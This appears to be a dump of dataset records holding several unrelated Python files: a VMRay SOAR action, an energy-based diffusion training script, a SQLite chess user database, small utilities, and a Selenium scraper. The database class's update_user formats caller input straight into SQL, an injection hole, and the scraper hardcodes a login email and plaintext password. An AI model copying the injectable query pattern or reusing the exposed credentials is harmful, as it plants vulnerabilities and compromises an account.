to flag back to siemplify system, the action final status\n status = EXECUTION_STATE_COMPLETED \n \n # human readable message, showed in UI as the action result\n output_message = \"Sample Mitre ATT&CK techniques retrieved successfully for %s\" % sample_id\n \n # Set a simple result value, used for playbook if\\else and placeholders.\n result_value = True\n \n # Adding sample metadata to result json\n siemplify.result.add_result_json(json.dumps({\"sample_technqiues\":parsed_attack_techniques}))\n \n if create_insight:\n siemplify.LOGGER.info(\"Creating case insight for found MITRE ATT&CK Techniques.\")\n \n title = \"MITRE ATT&CK Techniques for Sample %s\" % sample_id\n \n try:\n message = prepare_techniques_for_insight(parsed_attack_techniques)\n \n siemplify.create_case_insight(triggered_by=INTEGRATION_NAME,\n title=title,\n content=message,\n entity_identifier=\"\",\n severity=1,\n insight_type=InsightType.General)\n except Exception as err:\n siemplify.LOGGER.error(\"Insight creation failed. Error: %s\" % err)\n \n siemplify.LOGGER.info(\"%s action finished successfully.\" % GET_SAMPLE_ATTACK_SCRIPT_NAME)\n else:\n # used to flag back to siemplify system, the action final status\n status = EXECUTION_STATE_FAILED \n \n # human readable message, showed in UI as the action result\n output_message = \"No attack techniques for %s was found in VMRay database.\" % sample_id\n \n # Set a simple result value, used for playbook if\\else and placeholders.\n result_value = False\n \n siemplify.LOGGER.info(\"%s action failed.\" % GET_SAMPLE_ATTACK_SCRIPT_NAME)\n except Exception as err:\n # used to flag back to siemplify system, the action final status\n status = EXECUTION_STATE_FAILED\n \n # human readable message, showed in UI as the action result\n output_message = \"No attack techniques for %s was found in VMRay database. Error: %s\" % (sample_id, err)\n \n # Set a simple result value, used for playbook if\\else and placeholders.\n result_value = False\n \n siemplify.LOGGER.error(\"%s action finished with error.\" % GET_SAMPLE_ATTACK_SCRIPT_NAME)\n siemplify.LOGGER.exception(err)\n\n siemplify.LOGGER.info(\"----------------- Main - Finished -----------------\")\n\n siemplify.LOGGER.info(\"\\n status: %s\\n result_value: %s\\n output_message: %s\" % (status, result_value, output_message))\n siemplify.end(output_message, result_value, status)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"vmray/chronicle-soar","sub_path":"ActionsScripts/Get Sample Mitre Attack Techniques.py","file_name":"Get Sample Mitre Attack Techniques.py","file_ext":"py","file_size_in_byte":6947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"36318437502","text":"import argparse\nimport json\nimport logging\nimport os\nimport shutil\nimport sys\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sn\nimport torch\nfrom torch.utils.data import DataLoader, TensorDataset\nfrom torch.utils.tensorboard import SummaryWriter\n\ncwd = os.getcwd()\nsys.path.append(cwd)\n\ntry:\n from lib.config import add_daebm_parser\n from lib.diffusion import (MGMS_sampling, adjust_step_size_given_acpt_rate,\n make_sigma_schedule, q_sample,\n q_sample_progressive)\n from lib.libtoy import (ToyDataset, plot_decision_surface,\n plot_diffusion_densities_along_a_line)\n from lib.sampler import ReplayBuffer\n from lib.train import (configure_net, configure_optimizer,\n configure_scheduler, initialize_net,\n save_checkpoint)\n from lib.utils import Accumulator, AverageMeter\n from lib.write_tb import write_results\nexcept ImportError:\n raise\n\n\n# === Training loss ===\ndef training_losses(net, x_pos, t, x_neg, t_neg):\n \"\"\"\n Training loss calculation\n \"\"\"\n pos_f = net.energy_output(x_pos, t)\n neg_f = net.energy_output(x_neg, t_neg)\n loss = (pos_f - neg_f).squeeze().mean()\n\n return loss\n\n\ndef main(args):\n\n exp_dir = os.path.join(args.main_dir, args.exp_dir)\n # data_dir = os.path.join(args.main_dir, args.data_dir)\n\n # create experiment folder if not exists\n try:\n os.makedirs(exp_dir)\n except FileExistsError:\n if args.refresh:\n shutil.rmtree(exp_dir)\n os.makedirs(exp_dir)\n else:\n raise RuntimeError(\"Exp Folder Exists\")\n\n kwargs = vars(args)\n with open(os.path.join(exp_dir, \"init_hparams.json\"), \"w\") as fp:\n json.dump(kwargs, fp, sort_keys=False, indent=4)\n\n sys.stderr = open(f\"{exp_dir}/err.txt\", \"w\")\n os.makedirs(exp_dir + \"/jump_mat\")\n\n log_dir = None if args.log_dir == \"None\" else os.path.join(exp_dir, args.log_dir)\n\n logging.basicConfig(\n format=\"%(name)s - %(levelname)s - %(message)s\",\n level=logging.INFO,\n handlers=[logging.StreamHandler(sys.stdout)],\n )\n logger = logging.getLogger(\"Toy DA-EBM Training\")\n formatter = logging.Formatter(fmt=\"%(name)s - %(levelname)s - %(message)s\")\n fh = logging.FileHandler(filename=f\"{exp_dir}/log.txt\", mode=\"w\")\n fh.setLevel(logging.INFO)\n fh.setFormatter(formatter)\n logger.addHandler(fh)\n saved_models_dir = (\n None\n if args.saved_models_dir == \"None\"\n else os.path.join(exp_dir, args.saved_models_dir)\n )\n\n writer = SummaryWriter(log_dir=log_dir) if args.log_dir is not None else None\n\n device = torch.device(f\"cuda:{args.cuda}\" if torch.cuda.is_available() else \"cpu\")\n\n torch.manual_seed(args.t_seed)\n if torch.cuda.is_available():\n torch.cuda.manual_seed_all(args.t_seed)\n np.random.seed(args.t_seed)\n\n q = ToyDataset(\n args.toy_type,\n args.toy_groups,\n args.toy_sd,\n args.toy_radius,\n args.viz_res,\n args.kde_bw,\n )\n\n (x_, y_) = q.sample_toy_data(50000)\n x_ = torch.FloatTensor(x_)\n y_ = torch.zeros(x_.shape[0]).long()\n train_set = TensorDataset(x_, y_)\n\n train_loader = DataLoader(\n train_set, batch_size=args.batch_size, shuffle=True, num_workers=2\n )\n\n args.n_class = args.num_diffusion_timesteps + 1\n \"Networks Configuration\"\n net = configure_net(args)\n logger.info(str(net))\n net = initialize_net(net, args.net_init_method).to(device)\n\n \"Optimizer Configuration\"\n optimizer = configure_optimizer(\n net.parameters(),\n args.optimizer_type,\n args.lr,\n args.weight_decay,\n args.betas,\n args.sgd_momentum,\n )\n\n scheduler, warmup_scheduler = configure_scheduler(\n optimizer,\n args.scheduler_type,\n args.milestones,\n args.lr_decay_factor,\n args.n_epochs,\n n_warm_iters=args.n_warm_epochs * len(train_loader),\n )\n\n \"Sampling Configuration\"\n is_reject = args.mala_reject\n replay_buffer = ReplayBuffer(\n buffer_size=args.replay_buffer_size,\n image_shape=(2,),\n n_class=args.num_diffusion_timesteps + 1,\n random_image_type=args.random_image_type,\n )\n\n \"Diffusion Configuration\"\n sigmas, alphas, alphas_bar_sqrt, alphas_bar_comp_sqrt = make_sigma_schedule(\n beta_start=args.diffusion_betas[0],\n beta_end=args.diffusion_betas[1],\n num_diffusion_timesteps=args.num_diffusion_timesteps,\n schedule=args.diffusion_schedule,\n )\n\n b_square = args.b_factor ** 2\n step_size_square = sigmas ** 2 * b_square\n step_size_square[0] = step_size_square[1]\n\n init_step_size = step_size_square.sqrt()\n\n logger.info(\"sigmas:\" + str(sigmas))\n logger.info(\"alphas:\" + str(alphas))\n logger.info(\"alpha_bar_sqrt:\" + str(alphas_bar_sqrt))\n logger.info(\"alphas_bar_comp_sqrt:\" + str(alphas_bar_comp_sqrt))\n\n logger.info(\"step_size:\" + str(init_step_size))\n\n train_set_fig = plot_decision_surface(\n q,\n None,\n train_set[:][0].squeeze(),\n labels=None,\n device=device,\n save_path=\"return\",\n )\n writer.add_figure(\"Train Set\", train_set_fig, global_step=0)\n diffuse_data_pool = q_sample_progressive(\n x_[torch.randperm(x_.shape[0])[:5000]], alphas, sigmas\n )\n fig, axes = plt.subplots(1, args.num_diffusion_timesteps + 1, figsize=(21, 3))\n for i in range(args.num_diffusion_timesteps + 1):\n diffuse_data = diffuse_data_pool[i]\n axes[i].scatter(*(diffuse_data.T))\n plt.tight_layout()\n # plt.show()\n writer.add_figure(\"Diffusion Data Figure\", fig, global_step=0)\n plt.close()\n\n sigmas, alphas, alphas_bar_sqrt, alphas_bar_comp_sqrt, init_step_size = (\n sigmas.to(device),\n alphas.to(device),\n alphas_bar_sqrt.to(device),\n alphas_bar_comp_sqrt.to(device),\n init_step_size.to(device),\n )\n\n \"Ancillary\"\n n_iter = 0\n time0_bank = torch.randn((50000,) + (2,))\n time0_save_sample_idx = 0\n\n accumulators = {}\n accumulators[\"mala_acpt_rate\"] = Accumulator(args.num_diffusion_timesteps + 1)\n accumulators[\"labels_jump_mat\"] = Accumulator(\n (args.num_diffusion_timesteps + 1) ** 2\n )\n\n meter_list = [\"loss\"]\n x_0 = next(iter(train_loader))[0]\n for epoch in range(args.n_epochs):\n meters = {key: AverageMeter() for key in meter_list}\n\n for idx, (x_0, _) in enumerate(train_loader):\n n_iter += 1\n\n t = torch.randint(\n high=args.num_diffusion_timesteps + 1, size=(x_0.shape[0],)\n ).to(device)\n\n x_t = q_sample(x_0.to(device), t, alphas_bar_sqrt, alphas_bar_comp_sqrt)\n\n init_x_t_neg, init_t_neg, buffer_idx = replay_buffer.sample_buffer(\n n_samples=args.batch_size, reinit_probs=args.reinit_probs,\n )\n\n x_t_neg, t_neg, acpt_rate, _ = MGMS_sampling(\n net,\n init_x_t_neg.to(device),\n init_t_neg.to(device),\n args.sample_steps,\n init_step_size=init_step_size,\n reject=is_reject,\n )\n\n accumulators[\"mala_acpt_rate\"].add(1, acpt_rate.nan_to_num())\n\n jump_mat = np.zeros(\n ((args.num_diffusion_timesteps + 1), (args.num_diffusion_timesteps + 1))\n )\n jump_coordinates = (\n torch.cat([init_t_neg.view(-1, 1), t_neg.view(-1, 1)], 1).cpu().numpy()\n )\n np.add.at(jump_mat, tuple(zip(*jump_coordinates)), 1)\n accumulators[\"labels_jump_mat\"].add(1, jump_mat.reshape(-1))\n\n t_neg = t_neg.to(device)\n x_t_neg = x_t_neg.to(device)\n\n loss = training_losses(net, x_t, t, x_t_neg, t_neg)\n\n if torch.isnan(loss) or loss.abs().item() > 1e8:\n logger.error(\"Training breakdown\")\n args.breakdown = \"Breakdown\"\n break\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if epoch < args.n_warm_epochs:\n warmup_scheduler.step()\n\n image_samples = x_t_neg.cpu()\n image_labels = t_neg.cpu()\n\n time0_samples_idx = image_labels == 0\n time0_samples = image_samples[time0_samples_idx]\n\n if replay_buffer.buffer_size is not None:\n replay_buffer.update_buffer(buffer_idx, image_samples, image_labels)\n\n fid_slice = slice(\n time0_save_sample_idx % time0_bank.shape[0],\n min(\n time0_bank.shape[0],\n (time0_save_sample_idx + time0_samples.shape[0]) % time0_bank.shape[0],\n ),\n )\n time0_save_sample_idx += time0_samples.shape[0]\n time0_bank[fid_slice] = time0_samples[: (fid_slice.stop - fid_slice.start)]\n\n meters[\"loss\"].update(loss.item(), args.batch_size)\n if writer is not None:\n writer.add_scalar(\"Train/loss_iter\", loss.item(), n_iter)\n\n if idx % args.print_freq == 0:\n logger.info(\n \"Epoch: [{0}][{1}/{2}] \"\n \"Loss {loss.val:.4f} ({loss.avg:.4f}) \"\n \"acceptance rate: {acpt_rate:.4f} \"\n \"lr {lr:.6} \".format(\n epoch,\n idx,\n len(train_loader) - 1,\n loss=meters[\"loss\"],\n acpt_rate=torch.mean(\n torch.tensor(accumulators[\"mala_acpt_rate\"].average())\n ),\n lr=optimizer.param_groups[0][\"lr\"],\n )\n )\n\n else:\n scheduler.step()\n if saved_models_dir is not None:\n save_checkpoint(\n {\n \"epoch\": epoch,\n \"state_dict\": net.state_dict(),\n \"step_size\": init_step_size.cpu(),\n \"device\": device,\n },\n is_best=False,\n save_path_prefix=saved_models_dir,\n )\n if writer is not None:\n writer.add_scalar(\"Train/Average loss\", meters[\"loss\"].avg, epoch)\n writer.add_scalar(\"Train/lr\", optimizer.param_groups[0][\"lr\"], epoch)\n\n if (\n args.start_reject_epochs is not None\n and epoch == args.start_reject_epochs - 1\n and is_reject is False\n ):\n logger.warning(\"Change Sampler to do proper sampling with rejection\")\n is_reject = True\n\n acpt_rate = accumulators[\"mala_acpt_rate\"].average()\n if (\n args.dynamic_sampling is True\n and is_reject\n and epoch >= args.start_reject_epochs\n ):\n\n init_step_size = torch.tensor(\n [\n adjust_step_size_given_acpt_rate(s_z, a_r)\n for (s_z, a_r) in zip(\n init_step_size.cpu(), torch.FloatTensor(acpt_rate),\n )\n ]\n ).to(device)\n accumulators[\"mala_acpt_rate\"].reset()\n\n if writer is not None and is_reject is True:\n for i in range((args.num_diffusion_timesteps + 1)):\n writer.add_scalar(\"AcptRate/Time\" + str(i), acpt_rate[i], epoch)\n logger.info(\n \"AcptRate \"\n + \"\".join(\n [\n f\"t_{i}:{acpt_rate[i]:.2f}; \"\n for i in range((args.num_diffusion_timesteps + 1))\n ]\n )\n )\n if args.dynamic_sampling:\n for i in range(args.num_diffusion_timesteps + 1):\n writer.add_scalar(\n \"StepSize/Time\" + str(i), init_step_size.cpu()[i], epoch\n )\n\n logger.info(\"step size:\" + str(init_step_size.cpu()))\n\n if (epoch + 1) % args.write_tb_freq == 0:\n labels_jump_mat_freq = accumulators[\"labels_jump_mat\"].average()\n labels_jump_mat_freq = (\n np.array(labels_jump_mat_freq).reshape(\n args.num_diffusion_timesteps + 1,\n args.num_diffusion_timesteps + 1,\n )\n / args.batch_size\n )\n\n rows = [\n \"InitTime %d\" % x for x in range(args.num_diffusion_timesteps + 1)\n ]\n columns = [\n \"Time %d\" % x for x in range(args.num_diffusion_timesteps + 1)\n ]\n\n df_cm = pd.DataFrame(\n labels_jump_mat_freq * 100, index=rows, columns=columns\n )\n fig = plt.figure(figsize=(8, 6))\n ax = sn.heatmap(\n df_cm, annot=True, fmt=\".1f\", cbar_kws={\"format\": \"%.0f%%\"}\n )\n for t in ax.texts:\n t.set_text(t.get_text() + \" %\")\n plt.tight_layout()\n plt.close()\n writer.add_figure(\n f\"TimeStep Jump Table (Average over past {args.write_tb_freq} epochs)\",\n fig,\n global_step=epoch,\n )\n accumulators[\"labels_jump_mat\"].reset()\n\n replay_buffer_fig = plot_decision_surface(\n q, None, time0_bank.squeeze(), None, device, save_path=\"return\"\n )\n writer.add_figure(\n \"Replay Buffer Figure\", replay_buffer_fig, global_step=epoch\n )\n\n fig, axes = plt.subplots(\n 1, args.num_diffusion_timesteps + 1, figsize=(18, 3)\n )\n for i in range(args.num_diffusion_timesteps + 1):\n image_samples = replay_buffer.buffer_of_samples[\n replay_buffer.buffer_of_labels == i\n ]\n axes[i].scatter(*(image_samples.T))\n plt.tight_layout()\n # plt.show()\n writer.add_figure(\"Diffusion ReplayBuffer\", fig, global_step=epoch)\n plt.close()\n\n density_along_a_line = plot_diffusion_densities_along_a_line(\n q, net, device, args.num_diffusion_timesteps + 1\n )\n\n writer.add_figure(\n \"Density Slice\", density_along_a_line, global_step=epoch\n )\n\n continue\n break\n\n write_results(args, exp_dir, net, replay_buffer, device)\n # This is needed when handling multiple config files\n logger.removeHandler(fh)\n del logger, fh\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n cli_parser = argparse.ArgumentParser(\n description=\"configuration arguments provided at run time from the CLI\"\n )\n cli_parser.add_argument(\n \"-c\",\n \"--config_files\",\n dest=\"config_files\",\n type=str,\n default=[],\n action=\"append\",\n help=\"config files\",\n )\n\n cli_parser.add_argument(\n \"-hm\",\n \"--help_more\",\n dest=\"help_more\",\n action=\"store_true\",\n default=False,\n help=\"more help on the running parameters\",\n )\n\n cli_parser.add_argument(\n \"--main_dir\",\n type=str,\n default=\"./toy\",\n help=\"directory of the experiment: specify as ./toy\",\n )\n\n cli_parser.add_argument(\n \"--refresh\",\n default=False,\n action=\"store_true\",\n help=\"whether delete existed exp folder if exists\",\n )\n\n cli_parser.add_argument(\"--toy_type\", type=str, default=\"rings\")\n cli_parser.add_argument(\"--toy_groups\", type=int, default=4)\n cli_parser.add_argument(\"--toy_sd\", type=float, default=1.5e-1)\n cli_parser.add_argument(\"--toy_radius\", type=float, default=1.0)\n cli_parser.add_argument(\"--viz_res\", type=int, default=200)\n cli_parser.add_argument(\"--kde_bw\", type=float, default=0.075)\n cli_parser.add_argument(\"--b_factor\", type=float, default=1e-2)\n\n args, unknown = cli_parser.parse_known_args()\n add_parser = add_daebm_parser()\n parser = argparse.ArgumentParser(parents=[cli_parser, add_parser], add_help=False)\n\n args = parser.parse_args()\n\n main(args)\n","repo_name":"XinweiZhang/DAEBM","sub_path":"toy/src/train-toy-DAEBM.py","file_name":"train-toy-DAEBM.py","file_ext":"py","file_size_in_byte":16785,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"} +{"seq_id":"35788865272","text":"import sqlite3\nfrom sqlite3 import Error\nfrom datetime import datetime\n\n\nclass DatabaseManagement:\n def __init__(self, connection_string):\n self.connection_string = connection_string\n self.conn = None\n self.connect_to_database()\n self.create_tables()\n\n @staticmethod\n def format_json(data):\n return [dict((data.description[i][0], value) for i, value in enumerate(row)) for row in\n data.fetchall()]\n\n def connect_to_database(self):\n try:\n self.conn = sqlite3.connect(self.connection_string, check_same_thread=False)\n self.conn.execute(\"PRAGMA foreign_keys = ON\")\n except Error as e:\n print(e)\n\n def create_tables(self):\n try:\n self.conn.cursor().execute('''CREATE TABLE IF NOT EXISTS Users (user_id INTEGER PRIMARY KEY AUTOINCREMENT,\n username varchar(255) NOT NULL UNIQUE, password_hash varchar(255) NOT NULL,\n created_at varchar (255) NOT NULL, updated_at varchar (255) DEFAULT NULL);''')\n\n self.conn.cursor().execute('''CREATE TABLE IF NOT EXISTS Moves (move_id INTEGER PRIMARY KEY AUTOINCREMENT,\n user_id INTEGER NOT NULL, game_id INTEGER NOT NULL, move varchar(255) NOT NULL,\n FOREIGN KEY (user_id) REFERENCES Users(user_id) ON DELETE CASCADE ,\n FOREIGN KEY (game_id) REFERENCES GamesPlayed (game_id) ON DELETE CASCADE );''')\n\n self.conn.cursor().execute('''CREATE TABLE IF NOT EXISTS GamesPlayed (game_id INTEGER PRIMARY KEY AUTOINCREMENT,\n user1_id INTEGER NOT NULL, user2_id INTEGER NOT NULL, winner_id INTEGER NOT NULL,\n win_type varchar(255) NOT NULL, FOREIGN KEY (user1_id) REFERENCES Users(user_id) ON DELETE CASCADE,\n FOREIGN KEY (user2_id) REFERENCES Users(user_id) ON DELETE CASCADE );''')\n\n self.conn.cursor().execute('''CREATE TABLE IF NOT EXISTS GameStatistics (statistic_id INTEGER PRIMARY KEY AUTOINCREMENT,\n game_id INTEGER NOT NULL, FOREIGN KEY (game_id) REFERENCES GamesPlayed (game_id) ON DELETE CASCADE );''')\n\n except Error as e:\n print(e)\n\n def create_game(self, game_data):\n try:\n players_exists_in_database = False\n\n if self.check_if_user_exists(game_data['user1_username']) and self.check_if_user_exists(game_data['user2_username']):\n players_exists_in_database = True\n\n if players_exists_in_database:\n user1 = self.get_user(username=game_data['user1_username'])[0]\n user2 = self.get_user(username=game_data['user2_username'])[0]\n winner_user = self.get_user(username=game_data['winner_username'])[0]\n\n if winner_user == user1 or winner_user == user2:\n self.conn.cursor().execute('''INSERT INTO GamesPlayed (user1_id, user2_id, winner_id, win_type) VALUES (?,?,?,?)''',\n (user1['user_id'], user2['user_id'], winner_user['user_id'], game_data['win_type']))\n self.conn.commit()\n\n return \"Game successfully created\", True\n else:\n return \"Winner user didn't play.\\nEnter correct winner username\", False\n\n else:\n return \"Players don't exist in database\", False\n except Exception as e:\n if type(e) is Error:\n return f\"Error occurred during creating new game: {e}\", False\n if type(e) is KeyError or type(e) is TypeError:\n return \"Not enough data provided\", False\n if type(e) is IndexError:\n return \"Winner user didn't play.\\nEnter correct winner username\", False\n\n def get_games(self):\n try:\n return self.format_json(self.conn.cursor().execute('''SELECT * FROM GamesPlayed'''))\n except Error:\n return None\n\n def create_user(self, user_data):\n try:\n if not self.check_if_user_exists(user_data['username']):\n self.conn.cursor().execute('''INSERT INTO Users (username, password_hash, created_at) VALUES (?,?,?)''',\n (user_data['username'], user_data['password_hash'],\n str(datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\"))))\n self.conn.commit()\n\n return f\"User {user_data['username']} successfully created\", True\n else:\n return \"User with given username already exists\", False\n except Exception as e:\n if type(e) is Error:\n return f\"Error occurred during creating new user: {e}\", False\n if type(e) is KeyError:\n return \"Not enough data provided\", False\n\n def get_user(self, **kwargs):\n username = kwargs.get('username', None)\n details = kwargs.get('details', None)\n try:\n if not username:\n if details:\n return self.format_json(self.conn.cursor().execute('SELECT * FROM Users'))\n else:\n return self.format_json(self.conn.cursor().execute('SELECT user_id, username FROM Users'))\n else:\n user_details_json = {\n \"user_details\": self.format_json(self.conn.cursor().execute('''SELECT * from Users WHERE username = ?''', (username,)))[0],\n \"games_played\": self.format_json(self.conn.cursor().execute(\"\"\"SELECT gp.* from GamesPlayed as gp INNER JOIN Users as u on \n gp.user1_id = u.user_id WHERE u.username = ? UNION SELECT \n gp.* from GamesPlayed as gp INNER join Users as u on \n gp.user2_id = u.user_id WHERE u.username = ?\"\"\", (username, username)))\n }\n\n return user_details_json\n\n except Error as e:\n return None\n\n def check_if_user_exists(self, username):\n return len(\n self.conn.cursor().execute('SELECT user_id FROM Users WHERE username = ?', (username,)).fetchall()) != 0\n\n def delete_user(self, username):\n if self.check_if_user_exists(username):\n self.conn.cursor().execute('DELETE FROM Users WHERE username = ?', (username,))\n self.conn.commit()\n return f\"User {username} successfully deleted\"\n else:\n return f\"User {username} doesn't exist\"\n\n def update_user(self, username, new_data):\n new_username_exists_in_database = False\n\n if 'username' in new_data:\n new_username_exists_in_database = self.check_if_user_exists(new_data['username'])\n\n if self.check_if_user_exists(username) and not new_username_exists_in_database:\n user = self.get_user(username=username)[0]\n try:\n for columng in new_data:\n sql_update = \"UPDATE Users SET {0} = '{1}' WHERE user_id = {2}\".format(columng, new_data[columng],\n user['user_id'])\n self.conn.cursor().execute(sql_update)\n\n self.conn.cursor().execute('UPDATE Users SET updated_at = ? WHERE user_id = ?',\n (str(datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")), user['user_id']))\n\n self.conn.commit()\n return True\n except Error:\n return False\n else:\n return False\n","repo_name":"karolzarebski/ChessDbAPI","sub_path":"DatabaseManagement.py","file_name":"DatabaseManagement.py","file_ext":"py","file_size_in_byte":7709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"28642584459","text":"from functools import cached_property\n\nfrom utils import colorx\n\nfrom infographics.adaptors.ColorBase import ColorBase\n\n\nclass ColorHistogram(ColorBase):\n def __init__(\n self,\n ids,\n get_color_value,\n ):\n ColorBase.__init__(\n self,\n ids,\n get_color_value,\n self.get_color_from_color_value,\n )\n\n @cached_property\n def density_to_rank_p_index(self):\n n_ids = len(self.ids)\n sorted_color_values = sorted(\n list(\n map(\n lambda id: self.get_color_value(id),\n self.ids,\n )\n )\n )\n return dict(\n list(\n map(\n lambda x: [x[1], x[0] / n_ids],\n enumerate(sorted_color_values),\n )\n )\n )\n\n def get_color_from_color_value(self, color_value):\n rank_p = self.density_to_rank_p_index[color_value]\n hue = (1 - rank_p) * 240\n return colorx.random_hsl(hue=hue)\n","repo_name":"nuuuwan/infographics","sub_path":"src/infographics/adaptors/ColorHistogram.py","file_name":"ColorHistogram.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"41520060997","text":"from django.urls import path\n\nfrom base import views as base_views\n\nurlpatterns = [\n path('reports/',\n base_views.ReportDataView.as_view(),\n name='reports'),\n path('chart/',\n base_views.ChartOneView.as_view(),\n name='chart'),\n path('test/',\n base_views.TestDataView.as_view(),\n name='tests'),\n path('resources/',\n base_views.ResourcesView.as_view(),\n name='resources'),\n]\n","repo_name":"ishunter216/Deepmed","sub_path":"backend/base/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"26395178229","text":"# Runtime: 99 ms, faster than 98.78% of Python3 online submissions for Top K Frequent Elements.\n# Memory Usage: 18.6 MB, less than 71.30% of Python3 online submissions for Top K Frequent Elements.\n\nclass Solution:\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n store = {} # Store keys for DP\n #Count occurances\n for num in nums:\n if num in store:\n store[num] += 1\n else:\n store[num] = 1\n #Sort list and return array of numbers to k\n q = sorted(list(store.keys()),key = lambda x: -store[x])\n return q[:k]\n\n# Secondary solution in one line\n# from collections import Counter\n# class Solution:\n# def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n# return [x[0] for x in Counter(nums).most_common(k)]\n","repo_name":"Jacob-Coates/Leetcode","sub_path":"347. Top K Frequent Elements.py","file_name":"347. Top K Frequent Elements.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"7162477235","text":"# Python Selenium - imports\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.common.exceptions import NoSuchElementException \n\n\n# Python GoogleSheetsAPI-imports\nfrom googleapiclient.discovery import build\nfrom google.oauth2 import service_account\n\nfrom pages.login_page import LoginPage\nfrom apis.google_api import GoogleApi\n\nimport time\n\n\n# Python Selenium - code\nbrowser = webdriver.Chrome()\n\nlogin_page = LoginPage(driver=browser)\n\n# browser.get('https://tstprep.activehosted.com/app/automations?limit=100&offset=100&page=2')\nlogin_page.go()\n\nlogin_page.username_field.input_text('marian@dacianempire.com')\nlogin_page.password_field.input_text('daTIVoINgerymPolIzAR')\nlogin_page.login_btn.click()\n\ntarget_values_list = []\n\n\ndef check_exists_by_css(cssselector):\n try:\n browser.find_element_by_css_selector(cssselector)\n except NoSuchElementException:\n return False\n return True\n\n\n\ndef check_exists_by_css_selector(cssselector):\n try:\n element = WebDriverWait(browser, 5).until(\n EC.visibility_of_element_located(\n (By.CSS_SELECTOR, cssselector))\n )\n except TimeoutException:\n print(\"element was NOT found\")\n return False\n else:\n print(\"element was found\")\n return element\n\n\ndef traversePages(page_number):\n page_with_overview = \"https://thethirdwave.activehosted.com/report/#/campaign/\" + str(page_number) + \"/overview\"\n page_with_opens = \"https://thethirdwave.activehosted.com/report/#/campaign/\" + str(page_number) + \"/opens\"\n page_with_clicks = \"https://thethirdwave.activehosted.com/report/#/campaign/\" + str(page_number) + \"/clicks\"\n page_with_preview = \"https://thethirdwave.activehosted.com/preview.php?c=\" + str(page_number) + \"&preview\"\n page_with_designer = \"https://thethirdwave.activehosted.com/campaign/\" + str(page_number) + \"/designer\"\n page_with_unsubscribes = \"https://thethirdwave.activehosted.com/report/#/campaign/\" + str(page_number) + \"/unsubscribes\"\n page_with_bounces = \"https://thethirdwave.activehosted.com/report/#/campaign/\" + str(page_number) + \"/bounces\"\n\n browser.get(page_with_designer)\n\n check_exists_by_css_selector('.ac_buttonnext')\n\n\n\n\n\n\n# 1154, and 1154 are ok, but it breaks at 1155\nfor index in range(1157, 1158, 1):\n target_values_list.append(\"-----\")\n traversePages(index)\n\n\n# links_file = open('list-of-links.txt', 'r')\n# lines = links_file.readlines()\n\n# for line in lines:\n# if \"overview\" in line:\n# print(\"--------------\")\n# print(\"found overview\")\n\n# total_sent = browser.find_element(By.CSS_SELECTOR, 'span.sentto')\n\n\n# elif \"opens\" in line:\n# print(\"found opens\")\n# elif \"clicks\" in line:\n# print(\"found clicks\")\n# elif \"preview\" in line:\n# print(\"found preview\")\n# elif \"designer\" in line:\n# print(\"found designer\")\n# elif \"summary\" in line:\n# print(\"found summary\")\n\n\n#\n#\n#\n\n\n#\n#\n#\n\n# google_api = GoogleApi()\n\n# SERVICE_ACCOUNT_FILE = 'keys.json'\n# SCOPES = ['https://www.googleapis.com/auth/spreadsheets']\n\n# my_credentials = None\n# my_credentials = service_account.Credentials.from_service_account_file(\n# SERVICE_ACCOUNT_FILE, scopes=SCOPES)\n\n# # The ID spreadsheet.\n# SAMPLE_SPREADSHEET_ID = '1JaWqBcd6jGMV_2eOBq_rAcbXLFKhKHBkcOAuzNjIxbc'\n\n# service = build('sheets', 'v4', credentials=my_credentials)\n\n# # Call the Sheets API\n# sheet = service.spreadsheets()\n# result = sheet.values().get(spreadsheetId=SAMPLE_SPREADSHEET_ID,\n# range=\"WorkSheet!D1:I1300\").execute()\n\n# # #first run\n# # print(result)\n\n# values = result.get('values', [])\n\n# f = open(\"demofile2.txt\", \"a\")\n# f.write(str(values))\n# f.close()\n\n\n# print(values)\n","repo_name":"adriangheo/active-camp-py-automation","sub_path":"second_script.py","file_name":"second_script.py","file_ext":"py","file_size_in_byte":3963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"2231717918","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\n\n\ndef rot90(tensor, k=1, axes=[1, 2], name=None):\n axes = tuple(axes)\n if len(axes) != 2:\n raise ValueError(\"len(axes) must be 2.\")\n\n tenor_shape = (tensor.get_shape().as_list())\n dim = len(tenor_shape)\n\n if axes[0] == axes[1] or np.absolute(axes[0] - axes[1]) == dim:\n raise ValueError(\"Axes must be different.\")\n\n if (axes[0] >= dim or axes[0] < -dim or axes[1] >= dim or axes[1] < -dim):\n\n raise ValueError(\"Axes={} out of range for tensor of ndim={}.\".format(\n axes, dim))\n k %= 4\n if k == 0:\n return tensor\n if k == 2:\n img180 = tf.reverse(\n tf.reverse(tensor, axis=[axes[0]]), axis=[axes[1]], name=name)\n return img180\n\n axes_list = np.arange(0, dim)\n (axes_list[axes[0]], axes_list[axes[1]]) = (axes_list[axes[1]],\n axes_list[axes[0]]) # 替换\n\n print(axes_list)\n if k == 1:\n img90 = tf.transpose(\n 